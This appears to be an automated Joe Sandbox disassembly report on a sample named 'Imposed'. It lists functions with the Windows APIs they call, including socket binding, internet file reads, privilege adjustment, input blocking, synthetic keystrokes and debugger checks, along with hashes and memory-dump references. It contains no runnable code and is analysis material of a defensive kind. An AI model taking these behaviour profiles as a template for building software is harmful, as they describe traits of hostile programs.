                                                                                                                                                                • Opcode ID: a4baf11ece2cc249ab5ce2cfed1e6fa1a6c98e139d119cc3cf1388b8dad2c74e
                                                                                                                                                                • Instruction ID: 5eab49d83cd8f5ffb37af27d82c84b769f08750c1e814f0b6cbf32edab1f3f46
                                                                                                                                                                • Opcode Fuzzy Hash: a4baf11ece2cc249ab5ce2cfed1e6fa1a6c98e139d119cc3cf1388b8dad2c74e
                                                                                                                                                                • Instruction Fuzzy Hash: 2A117C71601705FFEB318B69EC48F677BBDEBC5B91F144168B502962A1DBB1E9028720
                                                                                                                                                                Function 009F20EE Relevance: 9.0, APIs: 6, Instructions: 23memorysynchronizationCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • WaitForSingleObject.KERNEL32(?,000000FF), ref: 009F20F9
                                                                                                                                                                • UnloadUserProfile.USERENV(?,?), ref: 009F2105
                                                                                                                                                                • CloseHandle.KERNEL32(?), ref: 009F210E
                                                                                                                                                                • CloseHandle.KERNEL32(?), ref: 009F2116
                                                                                                                                                                • GetProcessHeap.KERNEL32(00000000,?), ref: 009F211F
                                                                                                                                                                • HeapFree.KERNEL32(00000000), ref: 009F2126
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 146765662-0
                                                                                                                                                                • Opcode ID: 3fba248c381a700590c7a42ee1bf7f00da418c995e5e701086f4cbc9f14ef60e
                                                                                                                                                                • Instruction ID: 05be635b55dc3e22ff3cf09b00414d677082175400956522287f7661f051ff6e
                                                                                                                                                                • Opcode Fuzzy Hash: 3fba248c381a700590c7a42ee1bf7f00da418c995e5e701086f4cbc9f14ef60e
                                                                                                                                                                • Instruction Fuzzy Hash: FCE0E576004105BBDB119FE9EC0D92ABF39FF49322B104230F22586471CB329433DB90
                                                                                                                                                                Function 00A0A32C Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 119filesleepCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                  • Part of subcall function 0099C110: _wcslen.LIBCMT ref: 0099C11A
                                                                                                                                                                • FindFirstFileW.KERNEL32(00000001,?,*.*,?,?,00000000,00000000), ref: 00A0A379
                                                                                                                                                                • FindClose.KERNEL32(00000000,?,00000000,00000000), ref: 00A0A48C
                                                                                                                                                                  • Part of subcall function 00A0418B: GetInputState.USER32 ref: 00A041E2
                                                                                                                                                                  • Part of subcall function 00A0418B: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00A0427D
                                                                                                                                                                • Sleep.KERNEL32(0000000A,?,00000000,00000000), ref: 00A0A3A9
                                                                                                                                                                • FindNextFileW.KERNEL32(?,?,?,00000000,00000000), ref: 00A0A476
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Find$File$CloseFirstInputMessageNextPeekSleepState_wcslen
                                                                                                                                                                • String ID: *.*
                                                                                                                                                                • API String ID: 1972594611-438819550
                                                                                                                                                                • Opcode ID: d96257f1c292330c01e703c98b504ca251d002ed3db2bbb04fe40c0485484b8a
                                                                                                                                                                • Instruction ID: 087dbb158fcd0aad9e5c6be52e86492ac5d2f91d398b0a0388776f4998e47e47
                                                                                                                                                                • Opcode Fuzzy Hash: d96257f1c292330c01e703c98b504ca251d002ed3db2bbb04fe40c0485484b8a
                                                                                                                                                                • Instruction Fuzzy Hash: 94416F7590020EAFCF11DFA8E949BEEBBB4FF14310F204166E815A21D1EB719E45CB62
                                                                                                                                                                Function 009921FD Relevance: 7.8, APIs: 5, Instructions: 309COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • DefDlgProcW.USER32(?,?), ref: 0099228E
                                                                                                                                                                • GetSysColor.USER32(0000000F), ref: 00992363
                                                                                                                                                                • SetBkColor.GDI32(?,00000000), ref: 00992376
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Color$Proc
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 929743424-0
                                                                                                                                                                • Opcode ID: d036c8223afd36c66e8a1c1a537d1f9807a23abf6f971fc8b137dae0b8cb5ed8
                                                                                                                                                                • Instruction ID: b3a69d0465f64672064e095cd9c597d957e2ee4e17eb90aed2f15a1ab14387a4
                                                                                                                                                                • Opcode Fuzzy Hash: d036c8223afd36c66e8a1c1a537d1f9807a23abf6f971fc8b137dae0b8cb5ed8
                                                                                                                                                                • Instruction Fuzzy Hash: A9812770244414BEEA29BB3D8E4AE7F265DDB86B01F14861AF102C6696CE5DCE42D633
                                                                                                                                                                Function 00A1204C Relevance: 7.7, APIs: 5, Instructions: 153networkCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                  • Part of subcall function 00A13821: inet_addr.WSOCK32(?,?,?,?,?,00000000), ref: 00A1384D
                                                                                                                                                                  • Part of subcall function 00A13821: _wcslen.LIBCMT ref: 00A1386E
                                                                                                                                                                • socket.WSOCK32(00000002,00000002,00000011,?,?,00000000), ref: 00A120A3
                                                                                                                                                                • WSAGetLastError.WSOCK32 ref: 00A120CA
                                                                                                                                                                • bind.WSOCK32(00000000,?,00000010), ref: 00A12121
                                                                                                                                                                • WSAGetLastError.WSOCK32 ref: 00A1212C
                                                                                                                                                                • closesocket.WSOCK32(00000000), ref: 00A1215B
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: ErrorLast$_wcslenbindclosesocketinet_addrsocket
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 1601658205-0
                                                                                                                                                                • Opcode ID: 9d1c31f79ce838d037eafa62ad2674790490f58cf91dd0dfa7196860054d671e
                                                                                                                                                                • Instruction ID: 131d4d7e30d11bf27309806522c3d6791301c5005d96044104661c8cd6a0066d
                                                                                                                                                                • Opcode Fuzzy Hash: 9d1c31f79ce838d037eafa62ad2674790490f58cf91dd0dfa7196860054d671e
                                                                                                                                                                • Instruction Fuzzy Hash: 4551B275A00210AFDB20EF68C886F6A77A5AB49754F048198F9159F3D3C771ED42CBE1
                                                                                                                                                                Function 00A2231B Relevance: 7.6, APIs: 5, Instructions: 83windowCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: Window$EnabledForegroundIconicVisibleZoomed
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 292994002-0
                                                                                                                                                                • Opcode ID: c37fb4bbc48526019babb511995e795a6e1c00c24c102d1afd8dfb00753909da
                                                                                                                                                                • Instruction ID: 967f8a8a1eb3cc1a98a2a3d88e57c5d73db9c44d1eee6decb0424e3984064a75
                                                                                                                                                                • Opcode Fuzzy Hash: c37fb4bbc48526019babb511995e795a6e1c00c24c102d1afd8dfb00753909da
                                                                                                                                                                • Instruction Fuzzy Hash: A521B5317012206FD720DF2EE844B6A7BE9AF85315F188078E8498F252C779DD42CB90
                                                                                                                                                                Function 00A0D672 Relevance: 6.1, APIs: 4, Instructions: 75filenetworkCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • InternetReadFile.WININET(?,?,00000400,?), ref: 00A0D6B7
                                                                                                                                                                • GetLastError.KERNEL32(?,00000000), ref: 00A0D718
                                                                                                                                                                • SetEvent.KERNEL32(?,?,00000000), ref: 00A0D72C
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: ErrorEventFileInternetLastRead
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 234945975-0
                                                                                                                                                                • Opcode ID: fab44881e7c1ca0743c17ad821751a3321e60cd27b3767792a64f38c3937e725
                                                                                                                                                                • Instruction ID: 98d92efccad86b3e41b3d287d2ae23d6e905ac1c9e4796f9b6047b6d61fe082d
                                                                                                                                                                • Opcode Fuzzy Hash: fab44881e7c1ca0743c17ad821751a3321e60cd27b3767792a64f38c3937e725
                                                                                                                                                                • Instruction Fuzzy Hash: 91219276500709AFD730DFA9D944BAAB7FCEF40314F10442DE54596191E774E9059B50
                                                                                                                                                                Function 009EE3BB Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17timeCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: LocalTime
                                                                                                                                                                • String ID: %.3d$X64
                                                                                                                                                                • API String ID: 481472006-1077770165
                                                                                                                                                                • Opcode ID: 5f41129922e4c764e4a95f684a75442878043af231ff5514d0ac71f6ca8deaf5
                                                                                                                                                                • Instruction ID: 17b68bfe1804e155833b83028acd50042839bd8ab6a9b765d09a7d0f7fc23508
                                                                                                                                                                • Opcode Fuzzy Hash: 5f41129922e4c764e4a95f684a75442878043af231ff5514d0ac71f6ca8deaf5
                                                                                                                                                                • Instruction Fuzzy Hash: 00D01271809159EACB9197D19C889BD737CB708300F304C62F906E2051E63C8A099722
                                                                                                                                                                Function 009C29B2 Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • IsDebuggerPresent.KERNEL32 ref: 009C2AAA
                                                                                                                                                                • SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 009C2AB4
                                                                                                                                                                • UnhandledExceptionFilter.KERNEL32(?), ref: 009C2AC1
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: ExceptionFilterUnhandled$DebuggerPresent
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 3906539128-0
                                                                                                                                                                • Opcode ID: fffc8f51e88da90695a960d33341476e295c6dbf1fdb505dd77faff4f6dd424d
                                                                                                                                                                • Instruction ID: 84c6b25436152235b5dc80b141ad1621cd847ef1f36e62b8b3c5b9193a249f94
                                                                                                                                                                • Opcode Fuzzy Hash: fffc8f51e88da90695a960d33341476e295c6dbf1fdb505dd77faff4f6dd424d
                                                                                                                                                                • Instruction Fuzzy Hash: 8631B37490121C9BCB21DF68DD89BDDBBB8BF48310F5045EAE40CA62A1EB709F858F45
                                                                                                                                                                Function 009FEB90 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 31COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • mouse_event.USER32(00000800,00000000,00000000,00000088,00000000), ref: 009FEBC4
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: mouse_event
                                                                                                                                                                • String ID: DOWN
                                                                                                                                                                • API String ID: 2434400541-711622031
                                                                                                                                                                • Opcode ID: e378322096e2b254d2369ee0847ef7eac26b3b0cb3f0e1fed97282d0eafb807c
                                                                                                                                                                • Instruction ID: df8745db140490f950bf9b2e2fd118cabd120d58bf750f0446172d27e0663574
                                                                                                                                                                • Opcode Fuzzy Hash: e378322096e2b254d2369ee0847ef7eac26b3b0cb3f0e1fed97282d0eafb807c
                                                                                                                                                                • Instruction Fuzzy Hash: A6E0862B19D72538BD4421197C02EFB034CBB62776B11019AFD01E50D1ED945C46A1A4
                                                                                                                                                                Function 009EE419 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetUserNameW.ADVAPI32(?,?), ref: 009EE42B
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: NameUser
                                                                                                                                                                • String ID: X64
                                                                                                                                                                • API String ID: 2645101109-893830106
                                                                                                                                                                • Opcode ID: 4cfd01fcb239762bd7219c3e2ca80fee56f53bc9cde7e744379277795dc5dbe8
                                                                                                                                                                • Instruction ID: 764a6e3850eccf3302371e61d7695070c7c03f7dfe7d813bc2ac9559e934a035
                                                                                                                                                                • Opcode Fuzzy Hash: 4cfd01fcb239762bd7219c3e2ca80fee56f53bc9cde7e744379277795dc5dbe8
                                                                                                                                                                • Instruction Fuzzy Hash: 8DD0C9B480511DEBCB91CB90DC88DE9737CBB04304F104951F506E2050D734964A8B10
                                                                                                                                                                Function 00A040CC Relevance: 3.0, APIs: 2, Instructions: 33windowCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • GetLastError.KERNEL32(00000000,?,00000FFF,00000000,?,?,?,00A15065,?,?,00000035,?), ref: 00A040FB
                                                                                                                                                                • FormatMessageW.KERNEL32(00001000,00000000,?,00000000,?,00000FFF,00000000,?,?,?,00A15065,?,?,00000035,?), ref: 00A0410B
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: ErrorFormatLastMessage
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 3479602957-0
                                                                                                                                                                • Opcode ID: e2dffd02299b961b0ff42b9f7dd9bde33321cfa8f5aef003d34b2c042e9dcceb
                                                                                                                                                                • Instruction ID: 7b81aeb2f94ba2bf1e6742a62b9614421c798ceddbaf5333501c43923f978751
                                                                                                                                                                • Opcode Fuzzy Hash: e2dffd02299b961b0ff42b9f7dd9bde33321cfa8f5aef003d34b2c042e9dcceb
                                                                                                                                                                • Instruction Fuzzy Hash: 19F0E5706042296AEB2097A99C4DFFB7A6EFFC8761F000275F605D32C2E9609841C7B0
                                                                                                                                                                Function 009FBA4A Relevance: 3.0, APIs: 2, Instructions: 29keyboardCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • SendInput.USER32(00000001,?,0000001C,?,?,00000002), ref: 009FBA81
                                                                                                                                                                • keybd_event.USER32(?,76C1C0D0,?,00000000), ref: 009FBA94
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: InputSendkeybd_event
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 3536248340-0
                                                                                                                                                                • Opcode ID: 1c510770bd215d713d62ecdf71b7b0d65db13abaa5d50baa0172bd53a359a322
                                                                                                                                                                • Instruction ID: d1f5868fd0bdca8879c45ee387f06a7e3c3f37f49d08cc28fa3a8d5bfedcb49f
                                                                                                                                                                • Opcode Fuzzy Hash: 1c510770bd215d713d62ecdf71b7b0d65db13abaa5d50baa0172bd53a359a322
                                                                                                                                                                • Instruction Fuzzy Hash: A3F06D7080024EAFDB01CFA4C805BBE7BB4FF04309F10841AF955A5192D379C212DF94
                                                                                                                                                                Function 009F1939 Relevance: 3.0, APIs: 2, Instructions: 24COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,009F1A76), ref: 009F194E
                                                                                                                                                                • CloseHandle.KERNEL32(?,?,009F1A76), ref: 009F1963
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: AdjustCloseHandlePrivilegesToken
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 81990902-0
                                                                                                                                                                • Opcode ID: d325ce69e73bf95425dbdb3a0897d7436ed5eae84f879667151226baba77c272
                                                                                                                                                                • Instruction ID: af8734975b88801de1caa23a4e19bca835d18399a851a1f3699a7013bddc767f
                                                                                                                                                                • Opcode Fuzzy Hash: d325ce69e73bf95425dbdb3a0897d7436ed5eae84f879667151226baba77c272
                                                                                                                                                                • Instruction Fuzzy Hash: 26E04F32008610AFE7252B54FC0AFB77BA9EB44360B24882DF5A680471DB726C91DB50
                                                                                                                                                                Function 00A0F2E8 Relevance: 1.5, APIs: 1, Instructions: 25keyboardCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                • BlockInput.USER32(00000001), ref: 00A0F303
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000000B.00000002.1744100052.0000000000991000.00000020.00000001.01000000.00000007.sdmp, Offset: 00990000, based on PE: true
                                                                                                                                                                • Associated: 0000000B.00000002.1744082720.0000000000990000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A2D000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744151611.0000000000A53000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744193153.0000000000A5D000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_11_2_990000_Imposed.jbxd
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: BlockInput
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 3456056419-0
                                                                                                                                                                • Opcode ID: 3f57c0f0cdb6967e376a5b13d8373f2a22db3f2e3f8baa357fdec1c8aa3160b8
                                                                                                                                                                • Instruction ID: 12e2a25483b0d02139ad78b605fae51f366743165e1d6d005dc227c24ef668be
                                                                                                                                                                • Opcode Fuzzy Hash: 3f57c0f0cdb6967e376a5b13d8373f2a22db3f2e3f8baa357fdec1c8aa3160b8
                                                                                                                                                                • Instruction Fuzzy Hash: 6AE048752112045FCB20EF9DE944E56B7E9AF94770F008026F949DB351D670EC418B91
                                                                                                                                                                Function 009B0DF5 Relevance: 1.5, APIs: 1, Instructions: 3COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
